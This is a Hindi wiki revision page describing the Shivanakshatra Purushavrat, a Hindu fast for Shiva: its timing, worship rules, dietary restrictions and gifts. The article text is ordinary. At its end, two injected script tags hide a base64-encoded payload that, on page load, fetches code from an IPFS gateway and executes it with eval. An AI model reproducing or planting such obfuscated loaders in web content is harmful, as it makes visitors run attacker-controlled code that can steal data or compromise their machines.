शिवनक्षत्र पुरुषव्रत: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया) |
व्यवस्थापन (talk | contribs) m (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "") |
||
Line 7: | Line 7: | ||
*पात्र में घी के साथ एक प्रस्थ चावल का दान, पारण में शिव एवं उमा की स्वर्णिम प्रतिमा तथा उपकरणों से युक्त पलंग का दाअन दिया जाता है।<ref>हेमाद्रि (व्रतखण्ड 2, 703-706, विष्णुधर्मोत्तरपुराण से उद्धरण)।</ref> | *पात्र में घी के साथ एक प्रस्थ चावल का दान, पारण में शिव एवं उमा की स्वर्णिम प्रतिमा तथा उपकरणों से युक्त पलंग का दाअन दिया जाता है।<ref>हेमाद्रि (व्रतखण्ड 2, 703-706, विष्णुधर्मोत्तरपुराण से उद्धरण)।</ref> | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
Revision as of 07:26, 7 December 2010
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- फाल्गुन शुक्ल पक्ष में जब हस्त नक्षत्र हो तो उपवास करने में असमर्थ रहने वाले को इस व्रत का संकल्प करना चाहिए।
- यह नक्षत्र व्रत है।
- शिव देवता की पूजा की जाती है।
- पाद से लेकर सिर तक के शिव के अंगों की पूजा, शिव के विभिन्न नामों का प्रयोग हस्त (जिस पर यह आरम्भ होता है) एवं अन्य 26 नक्षत्रों से सम्बन्धित होता है।
- नक्त विधि, किन्तु तेल एवं नमक का प्रयोग नहीं किया जाता है।
- पात्र में घी के साथ एक प्रस्थ चावल का दान, पारण में शिव एवं उमा की स्वर्णिम प्रतिमा तथा उपकरणों से युक्त पलंग का दाअन दिया जाता है।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 2, 703-706, विष्णुधर्मोत्तरपुराण से उद्धरण)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>